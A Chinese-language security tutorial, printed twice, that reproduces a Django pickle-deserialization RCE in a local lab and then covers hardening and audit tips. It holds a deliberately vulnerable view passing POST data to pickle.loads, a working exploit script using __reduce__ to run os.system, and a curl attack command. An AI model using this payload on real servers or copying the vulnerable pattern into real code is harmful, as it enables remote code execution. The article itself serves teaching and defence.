1. 项目概述一次对Django高危漏洞的深度剖析最近在整理内部安全审计的案例库翻到了几年前处理过的一个Django框架高危远程代码执行漏洞的复现记录。这个漏洞在当时影响范围极广其利用链的精巧和危害的严重性至今仍是Web应用安全教学中一个经典的案例。今天我就以一名安全研究员的视角把这个漏洞的复现实验过程、技术原理、以及背后的防御思考完整地梳理和分享出来。无论你是正在学习Web安全的初学者还是负责项目安全开发的工程师理解这个漏洞的来龙去脉都能帮你更深刻地认识到框架安全配置的重要性以及“魔鬼往往藏在细节里”这句话在安全领域的含义。简单来说这个漏洞允许攻击者通过精心构造的请求在部署了受影响版本Django的服务器上执行任意系统命令从而完全控制服务器。它不是一个简单的SQL注入或者XSS而是涉及到了Django核心的序列化/反序列化机制。复现它不仅能让我们看到攻击是如何一步步达成的更能让我们明白一个看似强大的框架如果某些“高级”功能被误用或配置不当会打开怎样可怕的后门。接下来我会从环境搭建、漏洞原理拆解、利用链构造、到最终的防御建议带你走完整个流程。2. 漏洞背景与核心原理深度解析2.1 漏洞的根源Pickle反序列化的“原罪”要理解这个漏洞必须先理解Python中Pickle这个模块。Pickle是Python用于对象序列化和反序列化的标准模块它可以将一个内存中的Python对象转换成一串字节流序列化也可以将这串字节流还原回一个Python对象反序列化。这个过程非常强大因为它能保存对象的完整状态包括其属性和方法。然而强大的能力往往伴随着巨大的风险。Pickle在设计上有一个根本性的安全缺陷在反序列化过程中它会执行字节流中指定的代码来重建对象。这意味着如果一个攻击者能够控制被反序列化的数据他就可以在其中嵌入任意Python代码。当服务端使用pickle.loads()处理这些恶意数据时嵌入的代码就会被执行。Django框架本身深知Pickle的危险性因此在它的缓存Cache、会话Session等核心组件中默认使用的是更安全的序列化器比如JSON。但是Django提供了一个高度可配置的架构其中就包括信号Signals系统。某些第三方应用或者开发者为了传递复杂的Python对象可能会在信号接收函数中使用Pickle来处理数据。漏洞的导火索就常常出现在这里一个暴露给外部的接口例如一个基于HTTP的缓存更新接口、一个消息队列的消费者接收了用户可控的数据并将这些数据传递给了内部使用Pickle进行反序列化的信号处理器。注意这里的关键点在于“用户可控的数据流入了不安全的反序列化函数”。在安全领域这被称为“反序列化漏洞”是OWASP Top 10中“不安全反序列化”类别的典型代表。它不局限于Django或Python在JavaApache Commons Collections、PHP、.NET等生态中同样屡见不鲜。2.2 漏洞触发链的拼图单一的Pickle反序列化点还不足以构成RCE。一个完整的远程代码执行漏洞需要一条完整的利用链Exploit Chain。在这个Django漏洞的经典案例中链条通常由以下几块“拼图”组成入口点Entry Point一个Web应用对外提供的接口能够接收用户输入如POST参数、Cookie、HTTP头。这个接口的处理逻辑最终会触发Django的信号系统。数据传递Data Propagation用户输入的数据没有被充分过滤或校验被原样或经过简单拼接后传递到了应用内部的某个函数。危险函数调用Sink这个内部函数最终调用了pickle.loads()或类似的不安全反序列化方法并且传入的数据就是用户可控的。利用载荷Gadget Chain攻击者构造的恶意Pickle数据。它不是一个简单的os.system(‘whoami’)而是一系列精心挑选的Python类和方法调用链目的是在反序列化过程中最终触发命令执行。在Python中经典的__reduce__魔术方法常被用来构造这样的链它告诉Pickle在反序列化时如何重建对象攻击者可以在这里定义要执行的函数和参数。当这四块拼图严丝合缝地对接上漏洞就被成功触发了。下面我们就动手搭建环境亲手把这套“多米诺骨牌”推倒看看它到底是如何工作的。3. 实验环境搭建与目标应用模拟3.1 环境准备与依赖安装为了安全且清晰地复现我们必须在隔离的环境中进行。我强烈推荐使用虚拟环境。# 1. 创建并进入一个独立的目录 mkdir django-rce-lab cd django-rce-lab # 2. 创建Python虚拟环境这里使用venv python3 -m venv venv # 3. 激活虚拟环境 # Linux/macOS source venv/bin/activate # Windows # venv\Scripts\activate # 4. 安装特定版本的Django和必要依赖 # 为了复现某个历史漏洞我们需要安装存在漏洞的版本例如 1.11.x 系列的某个早期版本 # 请注意这里仅用于学习研究切勿在生产环境使用 pip install django1.11.1选择Django 1.11.1是因为该版本在历史上有过相关的反序列化漏洞报告且其架构清晰便于理解。安装完成后可以通过python -m django --version确认。3.2 构建一个存在漏洞的示例应用我们不会去真实攻击一个未知的应用而是自己编写一个简化版的、故意引入漏洞的Django应用以便理解每一个环节。# 创建一个新的Django项目 django-admin startproject vuln_project cd vuln_project # 创建一个应用 python manage.py startapp vuln_app接下来编辑vuln_project/settings.py将我们创建的应用加入INSTALLED_APPSINSTALLED_APPS [ ... vuln_app, ]现在我们来编写存在漏洞的核心代码。在vuln_app/views.py中import pickle import base64 from django.http import HttpResponse from django.views.decorators.csrf import csrf_exempt from django.core import signals # 一个危险的反序列化函数模拟某些第三方库或自定义代码中的不当操作 def unsafe_deserialize(data): 模拟一个不安全的反序列化操作。 在实际场景中它可能被隐藏在某个信号处理器、缓存后端或自定义的管理命令中。 # 这里直接使用了pickle.loads并且数据来源是参数传入这是极度危险的 return pickle.loads(base64.b64decode(data)) # 定义一个简单的信号这不是漏洞的必要部分但用于模拟复杂场景 data_received signals.Signal() # 连接一个信号处理器该处理器会调用危险函数 def dangerous_receiver(sender, **kwargs): user_data kwargs.get(data) if user_data: # 关键漏洞点将信号传递过来的数据直接进行反序列化 result unsafe_deserialize(user_data) print(f[Signal Receiver] Deserialized: {result}) return # 连接信号 data_received.connect(dangerous_receiver) # 一个对外的Web接口它是攻击的入口 csrf_exempt # 为了方便测试禁用CSRF防护 def trigger_view(request): if request.method POST: # 从用户POST请求中直接获取数据 user_input request.POST.get(payload, ) if user_input: # 将用户输入的数据通过信号发送出去 data_received.send(senderNone, datauser_input) return HttpResponse(Signal sent and processed.) else: return HttpResponse(No payload provided., status400) return HttpResponse(Please send a POST request with a payload parameter.)然后在vuln_app/urls.py中配置路由from django.urls import path from . import views urlpatterns [ path(trigger/, views.trigger_view, nametrigger), ]最后在项目根目录的urls.py中引入应用的路由from django.contrib import admin from django.urls import path, include urlpatterns [ path(admin/, admin.site.urls), path(vuln/, include(vuln_app.urls)), ]这个模拟应用虽然简单但完整包含了漏洞链入口点/vuln/trigger/这个URL接收POST参数payload。数据传递payload参数被直接传递给data_received信号。危险函数信号处理器dangerous_receiver调用了unsafe_deserialize其内部使用了pickle.loads。利用载荷我们即将构造的恶意Pickle数据。启动开发服务器python manage.py runserver 0.0.0.0:8000。现在一个存在高危RCE漏洞的Django应用就在本地的8000端口运行了。4. 漏洞利用链的构造与攻击复现4.1 构造恶意Pickle载荷攻击的核心是构造一段恶意的、经过Base64编码的Pickle数据。这段数据在被反序列化时会执行我们预设的命令。我们编写一个攻击脚本exploit.pyimport pickle import base64 import os import subprocess class EvilPickle(object): def __reduce__(self): # 定义反序列化时执行的命令。 # 示例弹出一个计算器适用于有GUI的环境或执行一条系统命令。 # Linux/macOS: # cmd (calc.exe if os.name nt else gnome-calculator) # 为了更通用我们执行一个创建文件或回显的命令来证明RCE。 cmd touch /tmp/pwned_success # Linux/macOS 创建文件 # 对于Windows可以改为cmd echo pwned C:\\pwned.txt return (os.system, (cmd,)) # 反序列化时将调用 os.system(cmd) if __name__ __main__: # 1. 生成恶意的Pickle对象 evil_obj EvilPickle() pickled_data pickle.dumps(evil_obj) # 2. 进行Base64编码以便通过HTTP POST传输 encoded_payload base64.b64encode(pickled_data).decode(utf-8) print(生成的恶意Payload:) print(encoded_payload) print(\n你可以使用以下curl命令进行测试) print(fcurl -X POST http://127.0.0.1:8000/vuln/trigger/ -d payload{encoded_payload})运行这个脚本python exploit.py。你会得到一串很长的Base64字符串这就是我们的“武器”。4.2 发起攻击并验证结果使用脚本输出的curl命令或者用你喜欢的HTTP客户端如Postman、Hoppscotch来发起请求curl -X POST http://127.0.0.1:8000/vuln/trigger/ -d payloadYOUR_BASE64_PAYLOAD_HERE如果服务器返回 “Signal sent and processed.”并且没有抛出500错误那么攻击请求很可能已经被成功处理。验证RCE是否成功Linux/macOS打开另一个终端执行ls -la /tmp/查看是否存在pwned_success这个文件。Windows检查C:\目录下是否存在pwned.txt文件。如果文件被成功创建恭喜你从攻击者视角也警醒你从防御者视角远程代码执行已经成功了攻击者完全可以将命令替换为rm -rf /、下载木马、反弹Shell等更具破坏性的操作。实操心得在实际渗透测试中情况远比这个复杂。入口点可能非常隐蔽比如一个需要特定Cookie头才能访问的管理员缓存清理接口或者一个反序列化操作发生在异步任务队列Celery的worker中。你需要仔细审计代码寻找所有用户输入流入pickle.loads、yaml.load、marshal.loads等危险函数的路径。使用静态代码分析工具如Bandit for Python可以帮助快速定位潜在的危险函数调用。5. 漏洞的深层原因与安全加固方案5.1 为什么会出现这种漏洞这个漏洞表面上是“使用了不安全的反序列化函数”但深层次原因往往是多方面的对框架机制的误解开发者可能认为Django框架本身是安全的从而忽略了其高度可扩展性带来的风险。他们可能使用了某个未经验证的第三方库该库在信号、缓存或会话处理中引入了Pickle。过度追求便利性Pickle可以序列化几乎任何Python对象包括复杂的自定义类实例。为了在组件间方便地传递这种复杂状态开发者可能会选择它而牺牲了安全性。安全配置缺失Django的SESSION_SERIALIZER设置默认是django.contrib.sessions.serializers.JSONSerializer这是安全的。但如果被显式地改为django.contrib.sessions.serializers.PickleSerializer就会引入风险。同样自定义的缓存后端也可能存在类似问题。缺乏输入验证与过滤即使内部使用了危险函数如果在数据传入的源头如我们的trigger_view进行了严格的校验如白名单、类型检查、签名验证漏洞也可能被阻断。但现实中对“内部接口”的信任往往导致校验缺失。5.2 全面防御策略与最佳实践修复此类漏洞必须从开发流程和代码实践上多管齐下1. 根本解决弃用危险序列化方案绝对禁止在任何接收外部或不可信数据的场景下使用pickle、marshal、PyYAML的yaml.load()。使用安全替代品JSON对于简单数据结构json模块是首选。Django的JSONSerializer是安全的。MessagePack / CBOR如果需要比JSON更高的性能或更丰富的数据类型可以选择这些现代序列化格式但务必使用其安全模式通常避免执行代码。Django内置序列化器对于Django模型实例使用django.core.serializers。2. 代码审计与依赖管理定期进行安全代码审计重点关注信号接收器、缓存后端、自定义管理命令、API视图中的数据处理逻辑。使用SAST工具将Bandit等静态应用安全测试工具集成到CI/CD流程中自动检测pickle.loads等危险调用。审查第三方依赖使用safety或pip-audit检查项目依赖是否存在已知安全漏洞。仔细评估引入的第三方库是否会进行不安全的反序列化操作。3. 架构与配置加固最小权限原则运行Django应用的系统用户应具有最小必要的权限避免使用root权限。这样即使被RCE攻击者能造成的破坏也有限。网络隔离将应用服务器置于内网通过反向代理如Nginx对外暴露并严格配置防火墙规则限制不必要的出站连接。安全配置检查定期检查settings.py确保SESSION_SERIALIZER、缓存后端配置等没有使用不安全的选项。4. 运行时防护与监控WAFWeb应用防火墙部署WAF可以拦截一些已知的反序列化攻击payload。完善的日志记录记录所有异常请求、反序列化错误和系统命令执行日志如果业务确实需要。监控/tmp等目录的异常文件创建、异常进程启动等行为。RASP运行时应用自我保护对于高安全要求的应用可以考虑使用RASP技术在应用内部监控并阻断危险的反序列化等行为。6. 复现过程中的常见问题与排查技巧在复现和后续的代码审计中你可能会遇到各种问题。下面是一些实录问题1Payload发送后服务器返回500错误但命令没有执行。排查思路检查Django日志运行python manage.py runserver的终端会输出详细错误。常见的错误是Pickle数据格式错误或编码问题。确保你的攻击脚本生成的Payload完整且正确Base64编码。检查Python版本兼容性Pickle协议在不同Python版本间可能不兼容。确保生成Payload的Python环境与目标服务器环境主要版本一致例如都是Python 3.x。检查信号处理器是否被触发在我们的示例代码中有print语句。查看服务器控制台是否有输出[Signal Receiver] Deserialized: ...。如果没有检查信号连接是否正确或视图函数是否被正确调用。问题2命令执行了但没有达到预期效果如文件没创建。排查思路权限问题应用运行用户可能没有在/tmp目录创建文件的权限或者路径不对。尝试一个绝对有权限且简单的命令如echo test /tmp/test.txtLinux或whoami将结果重定向到文件查看。命令语法问题确保构造的命令字符串在目标操作系统Shell下是有效的。Linux和Windows的命令语法不同。工作目录问题os.system执行命令时是在当前工作目录下。这个目录可能不是你以为的目录。使用绝对路径是最稳妥的。问题3在审计真实项目时如何快速定位潜在的漏洞点技巧全局搜索关键词在代码库中搜索pickle.loads、pickle.load、marshal.loads、yaml.load注意不是yaml.safe_load、CPicklePython 2。关注数据流找到这些危险函数后向上回溯看传入的数据是否来自用户可控的源头如request.POST、request.GET、request.COOKIES、request.headers、数据库字段、文件上传内容、第三方API回调数据。检查序列化配置查看settings.py中关于SESSION_SERIALIZER、CACHES尤其是使用django.core.cache.backends的缓存后端的配置。审查信号使用搜索Signal.connect或receiver装饰器查看信号处理函数的逻辑。问题4修复漏洞时替换pickle为json后发现复杂对象无法序列化。解决方案这是从危险方案迁移到安全方案时最常见的挑战。你需要设计一个安全的、面向数据的传输格式。定义数据转换函数为需要传输的复杂对象编写to_dict()和from_dict()方法将其转换为纯字典/列表结构然后再用JSON序列化/反序列化。使用Django模型序列化如果对象是Django模型实例直接使用django.core.serializers.serialize(json, [instance])和...deserialize(json, data)。评估第三方序列化库如marshmallow或pydantic它们提供了强大的数据模式定义和验证功能能安全地在复杂对象和JSON之间转换。这次从零开始的Django RCE漏洞复现实验就像一次精密的外科手术让我们清晰地看到了从外部输入到系统命令执行之间每一条血管和神经的连接。它再次印证了安全领域的一条铁律没有绝对安全的系统只有不断演进的安全实践。作为开发者我们能做的是时刻保持对用户输入的不信任谨慎对待每一个数据处理的环节尤其是像序列化/反序列化这样能力与风险并存的“利器”。下次当你看到pickle这个词时希望你的第一反应不是便利而是一个大大的红色警示标志。
Django高危RCE漏洞剖析:从Pickle反序列化到远程代码执行
发布时间:2026/7/6 12:59:15
1. 项目概述一次对Django高危漏洞的深度剖析最近在整理内部安全审计的案例库翻到了几年前处理过的一个Django框架高危远程代码执行漏洞的复现记录。这个漏洞在当时影响范围极广其利用链的精巧和危害的严重性至今仍是Web应用安全教学中一个经典的案例。今天我就以一名安全研究员的视角把这个漏洞的复现实验过程、技术原理、以及背后的防御思考完整地梳理和分享出来。无论你是正在学习Web安全的初学者还是负责项目安全开发的工程师理解这个漏洞的来龙去脉都能帮你更深刻地认识到框架安全配置的重要性以及“魔鬼往往藏在细节里”这句话在安全领域的含义。简单来说这个漏洞允许攻击者通过精心构造的请求在部署了受影响版本Django的服务器上执行任意系统命令从而完全控制服务器。它不是一个简单的SQL注入或者XSS而是涉及到了Django核心的序列化/反序列化机制。复现它不仅能让我们看到攻击是如何一步步达成的更能让我们明白一个看似强大的框架如果某些“高级”功能被误用或配置不当会打开怎样可怕的后门。接下来我会从环境搭建、漏洞原理拆解、利用链构造、到最终的防御建议带你走完整个流程。2. 漏洞背景与核心原理深度解析2.1 漏洞的根源Pickle反序列化的“原罪”要理解这个漏洞必须先理解Python中Pickle这个模块。Pickle是Python用于对象序列化和反序列化的标准模块它可以将一个内存中的Python对象转换成一串字节流序列化也可以将这串字节流还原回一个Python对象反序列化。这个过程非常强大因为它能保存对象的完整状态包括其属性和方法。然而强大的能力往往伴随着巨大的风险。Pickle在设计上有一个根本性的安全缺陷在反序列化过程中它会执行字节流中指定的代码来重建对象。这意味着如果一个攻击者能够控制被反序列化的数据他就可以在其中嵌入任意Python代码。当服务端使用pickle.loads()处理这些恶意数据时嵌入的代码就会被执行。Django框架本身深知Pickle的危险性因此在它的缓存Cache、会话Session等核心组件中默认使用的是更安全的序列化器比如JSON。但是Django提供了一个高度可配置的架构其中就包括信号Signals系统。某些第三方应用或者开发者为了传递复杂的Python对象可能会在信号接收函数中使用Pickle来处理数据。漏洞的导火索就常常出现在这里一个暴露给外部的接口例如一个基于HTTP的缓存更新接口、一个消息队列的消费者接收了用户可控的数据并将这些数据传递给了内部使用Pickle进行反序列化的信号处理器。注意这里的关键点在于“用户可控的数据流入了不安全的反序列化函数”。在安全领域这被称为“反序列化漏洞”是OWASP Top 10中“不安全反序列化”类别的典型代表。它不局限于Django或Python在JavaApache Commons Collections、PHP、.NET等生态中同样屡见不鲜。2.2 漏洞触发链的拼图单一的Pickle反序列化点还不足以构成RCE。一个完整的远程代码执行漏洞需要一条完整的利用链Exploit Chain。在这个Django漏洞的经典案例中链条通常由以下几块“拼图”组成入口点Entry Point一个Web应用对外提供的接口能够接收用户输入如POST参数、Cookie、HTTP头。这个接口的处理逻辑最终会触发Django的信号系统。数据传递Data Propagation用户输入的数据没有被充分过滤或校验被原样或经过简单拼接后传递到了应用内部的某个函数。危险函数调用Sink这个内部函数最终调用了pickle.loads()或类似的不安全反序列化方法并且传入的数据就是用户可控的。利用载荷Gadget Chain攻击者构造的恶意Pickle数据。它不是一个简单的os.system(‘whoami’)而是一系列精心挑选的Python类和方法调用链目的是在反序列化过程中最终触发命令执行。在Python中经典的__reduce__魔术方法常被用来构造这样的链它告诉Pickle在反序列化时如何重建对象攻击者可以在这里定义要执行的函数和参数。当这四块拼图严丝合缝地对接上漏洞就被成功触发了。下面我们就动手搭建环境亲手把这套“多米诺骨牌”推倒看看它到底是如何工作的。3. 实验环境搭建与目标应用模拟3.1 环境准备与依赖安装为了安全且清晰地复现我们必须在隔离的环境中进行。我强烈推荐使用虚拟环境。# 1. 创建并进入一个独立的目录 mkdir django-rce-lab cd django-rce-lab # 2. 创建Python虚拟环境这里使用venv python3 -m venv venv # 3. 激活虚拟环境 # Linux/macOS source venv/bin/activate # Windows # venv\Scripts\activate # 4. 安装特定版本的Django和必要依赖 # 为了复现某个历史漏洞我们需要安装存在漏洞的版本例如 1.11.x 系列的某个早期版本 # 请注意这里仅用于学习研究切勿在生产环境使用 pip install django1.11.1选择Django 1.11.1是因为该版本在历史上有过相关的反序列化漏洞报告且其架构清晰便于理解。安装完成后可以通过python -m django --version确认。3.2 构建一个存在漏洞的示例应用我们不会去真实攻击一个未知的应用而是自己编写一个简化版的、故意引入漏洞的Django应用以便理解每一个环节。# 创建一个新的Django项目 django-admin startproject vuln_project cd vuln_project # 创建一个应用 python manage.py startapp vuln_app接下来编辑vuln_project/settings.py将我们创建的应用加入INSTALLED_APPSINSTALLED_APPS [ ... vuln_app, ]现在我们来编写存在漏洞的核心代码。在vuln_app/views.py中import pickle import base64 from django.http import HttpResponse from django.views.decorators.csrf import csrf_exempt from django.core import signals # 一个危险的反序列化函数模拟某些第三方库或自定义代码中的不当操作 def unsafe_deserialize(data): 模拟一个不安全的反序列化操作。 在实际场景中它可能被隐藏在某个信号处理器、缓存后端或自定义的管理命令中。 # 这里直接使用了pickle.loads并且数据来源是参数传入这是极度危险的 return pickle.loads(base64.b64decode(data)) # 定义一个简单的信号这不是漏洞的必要部分但用于模拟复杂场景 data_received signals.Signal() # 连接一个信号处理器该处理器会调用危险函数 def dangerous_receiver(sender, **kwargs): user_data kwargs.get(data) if user_data: # 关键漏洞点将信号传递过来的数据直接进行反序列化 result unsafe_deserialize(user_data) print(f[Signal Receiver] Deserialized: {result}) return # 连接信号 data_received.connect(dangerous_receiver) # 一个对外的Web接口它是攻击的入口 csrf_exempt # 为了方便测试禁用CSRF防护 def trigger_view(request): if request.method POST: # 从用户POST请求中直接获取数据 user_input request.POST.get(payload, ) if user_input: # 将用户输入的数据通过信号发送出去 data_received.send(senderNone, datauser_input) return HttpResponse(Signal sent and processed.) else: return HttpResponse(No payload provided., status400) return HttpResponse(Please send a POST request with a payload parameter.)然后在vuln_app/urls.py中配置路由from django.urls import path from . import views urlpatterns [ path(trigger/, views.trigger_view, nametrigger), ]最后在项目根目录的urls.py中引入应用的路由from django.contrib import admin from django.urls import path, include urlpatterns [ path(admin/, admin.site.urls), path(vuln/, include(vuln_app.urls)), ]这个模拟应用虽然简单但完整包含了漏洞链入口点/vuln/trigger/这个URL接收POST参数payload。数据传递payload参数被直接传递给data_received信号。危险函数信号处理器dangerous_receiver调用了unsafe_deserialize其内部使用了pickle.loads。利用载荷我们即将构造的恶意Pickle数据。启动开发服务器python manage.py runserver 0.0.0.0:8000。现在一个存在高危RCE漏洞的Django应用就在本地的8000端口运行了。4. 漏洞利用链的构造与攻击复现4.1 构造恶意Pickle载荷攻击的核心是构造一段恶意的、经过Base64编码的Pickle数据。这段数据在被反序列化时会执行我们预设的命令。我们编写一个攻击脚本exploit.pyimport pickle import base64 import os import subprocess class EvilPickle(object): def __reduce__(self): # 定义反序列化时执行的命令。 # 示例弹出一个计算器适用于有GUI的环境或执行一条系统命令。 # Linux/macOS: # cmd (calc.exe if os.name nt else gnome-calculator) # 为了更通用我们执行一个创建文件或回显的命令来证明RCE。 cmd touch /tmp/pwned_success # Linux/macOS 创建文件 # 对于Windows可以改为cmd echo pwned C:\\pwned.txt return (os.system, (cmd,)) # 反序列化时将调用 os.system(cmd) if __name__ __main__: # 1. 生成恶意的Pickle对象 evil_obj EvilPickle() pickled_data pickle.dumps(evil_obj) # 2. 进行Base64编码以便通过HTTP POST传输 encoded_payload base64.b64encode(pickled_data).decode(utf-8) print(生成的恶意Payload:) print(encoded_payload) print(\n你可以使用以下curl命令进行测试) print(fcurl -X POST http://127.0.0.1:8000/vuln/trigger/ -d payload{encoded_payload})运行这个脚本python exploit.py。你会得到一串很长的Base64字符串这就是我们的“武器”。4.2 发起攻击并验证结果使用脚本输出的curl命令或者用你喜欢的HTTP客户端如Postman、Hoppscotch来发起请求curl -X POST http://127.0.0.1:8000/vuln/trigger/ -d payloadYOUR_BASE64_PAYLOAD_HERE如果服务器返回 “Signal sent and processed.”并且没有抛出500错误那么攻击请求很可能已经被成功处理。验证RCE是否成功Linux/macOS打开另一个终端执行ls -la /tmp/查看是否存在pwned_success这个文件。Windows检查C:\目录下是否存在pwned.txt文件。如果文件被成功创建恭喜你从攻击者视角也警醒你从防御者视角远程代码执行已经成功了攻击者完全可以将命令替换为rm -rf /、下载木马、反弹Shell等更具破坏性的操作。实操心得在实际渗透测试中情况远比这个复杂。入口点可能非常隐蔽比如一个需要特定Cookie头才能访问的管理员缓存清理接口或者一个反序列化操作发生在异步任务队列Celery的worker中。你需要仔细审计代码寻找所有用户输入流入pickle.loads、yaml.load、marshal.loads等危险函数的路径。使用静态代码分析工具如Bandit for Python可以帮助快速定位潜在的危险函数调用。5. 漏洞的深层原因与安全加固方案5.1 为什么会出现这种漏洞这个漏洞表面上是“使用了不安全的反序列化函数”但深层次原因往往是多方面的对框架机制的误解开发者可能认为Django框架本身是安全的从而忽略了其高度可扩展性带来的风险。他们可能使用了某个未经验证的第三方库该库在信号、缓存或会话处理中引入了Pickle。过度追求便利性Pickle可以序列化几乎任何Python对象包括复杂的自定义类实例。为了在组件间方便地传递这种复杂状态开发者可能会选择它而牺牲了安全性。安全配置缺失Django的SESSION_SERIALIZER设置默认是django.contrib.sessions.serializers.JSONSerializer这是安全的。但如果被显式地改为django.contrib.sessions.serializers.PickleSerializer就会引入风险。同样自定义的缓存后端也可能存在类似问题。缺乏输入验证与过滤即使内部使用了危险函数如果在数据传入的源头如我们的trigger_view进行了严格的校验如白名单、类型检查、签名验证漏洞也可能被阻断。但现实中对“内部接口”的信任往往导致校验缺失。5.2 全面防御策略与最佳实践修复此类漏洞必须从开发流程和代码实践上多管齐下1. 根本解决弃用危险序列化方案绝对禁止在任何接收外部或不可信数据的场景下使用pickle、marshal、PyYAML的yaml.load()。使用安全替代品JSON对于简单数据结构json模块是首选。Django的JSONSerializer是安全的。MessagePack / CBOR如果需要比JSON更高的性能或更丰富的数据类型可以选择这些现代序列化格式但务必使用其安全模式通常避免执行代码。Django内置序列化器对于Django模型实例使用django.core.serializers。2. 代码审计与依赖管理定期进行安全代码审计重点关注信号接收器、缓存后端、自定义管理命令、API视图中的数据处理逻辑。使用SAST工具将Bandit等静态应用安全测试工具集成到CI/CD流程中自动检测pickle.loads等危险调用。审查第三方依赖使用safety或pip-audit检查项目依赖是否存在已知安全漏洞。仔细评估引入的第三方库是否会进行不安全的反序列化操作。3. 架构与配置加固最小权限原则运行Django应用的系统用户应具有最小必要的权限避免使用root权限。这样即使被RCE攻击者能造成的破坏也有限。网络隔离将应用服务器置于内网通过反向代理如Nginx对外暴露并严格配置防火墙规则限制不必要的出站连接。安全配置检查定期检查settings.py确保SESSION_SERIALIZER、缓存后端配置等没有使用不安全的选项。4. 运行时防护与监控WAFWeb应用防火墙部署WAF可以拦截一些已知的反序列化攻击payload。完善的日志记录记录所有异常请求、反序列化错误和系统命令执行日志如果业务确实需要。监控/tmp等目录的异常文件创建、异常进程启动等行为。RASP运行时应用自我保护对于高安全要求的应用可以考虑使用RASP技术在应用内部监控并阻断危险的反序列化等行为。6. 复现过程中的常见问题与排查技巧在复现和后续的代码审计中你可能会遇到各种问题。下面是一些实录问题1Payload发送后服务器返回500错误但命令没有执行。排查思路检查Django日志运行python manage.py runserver的终端会输出详细错误。常见的错误是Pickle数据格式错误或编码问题。确保你的攻击脚本生成的Payload完整且正确Base64编码。检查Python版本兼容性Pickle协议在不同Python版本间可能不兼容。确保生成Payload的Python环境与目标服务器环境主要版本一致例如都是Python 3.x。检查信号处理器是否被触发在我们的示例代码中有print语句。查看服务器控制台是否有输出[Signal Receiver] Deserialized: ...。如果没有检查信号连接是否正确或视图函数是否被正确调用。问题2命令执行了但没有达到预期效果如文件没创建。排查思路权限问题应用运行用户可能没有在/tmp目录创建文件的权限或者路径不对。尝试一个绝对有权限且简单的命令如echo test /tmp/test.txtLinux或whoami将结果重定向到文件查看。命令语法问题确保构造的命令字符串在目标操作系统Shell下是有效的。Linux和Windows的命令语法不同。工作目录问题os.system执行命令时是在当前工作目录下。这个目录可能不是你以为的目录。使用绝对路径是最稳妥的。问题3在审计真实项目时如何快速定位潜在的漏洞点技巧全局搜索关键词在代码库中搜索pickle.loads、pickle.load、marshal.loads、yaml.load注意不是yaml.safe_load、CPicklePython 2。关注数据流找到这些危险函数后向上回溯看传入的数据是否来自用户可控的源头如request.POST、request.GET、request.COOKIES、request.headers、数据库字段、文件上传内容、第三方API回调数据。检查序列化配置查看settings.py中关于SESSION_SERIALIZER、CACHES尤其是使用django.core.cache.backends的缓存后端的配置。审查信号使用搜索Signal.connect或receiver装饰器查看信号处理函数的逻辑。问题4修复漏洞时替换pickle为json后发现复杂对象无法序列化。解决方案这是从危险方案迁移到安全方案时最常见的挑战。你需要设计一个安全的、面向数据的传输格式。定义数据转换函数为需要传输的复杂对象编写to_dict()和from_dict()方法将其转换为纯字典/列表结构然后再用JSON序列化/反序列化。使用Django模型序列化如果对象是Django模型实例直接使用django.core.serializers.serialize(json, [instance])和...deserialize(json, data)。评估第三方序列化库如marshmallow或pydantic它们提供了强大的数据模式定义和验证功能能安全地在复杂对象和JSON之间转换。这次从零开始的Django RCE漏洞复现实验就像一次精密的外科手术让我们清晰地看到了从外部输入到系统命令执行之间每一条血管和神经的连接。它再次印证了安全领域的一条铁律没有绝对安全的系统只有不断演进的安全实践。作为开发者我们能做的是时刻保持对用户输入的不信任谨慎对待每一个数据处理的环节尤其是像序列化/反序列化这样能力与风险并存的“利器”。下次当你看到pickle这个词时希望你的第一反应不是便利而是一个大大的红色警示标志。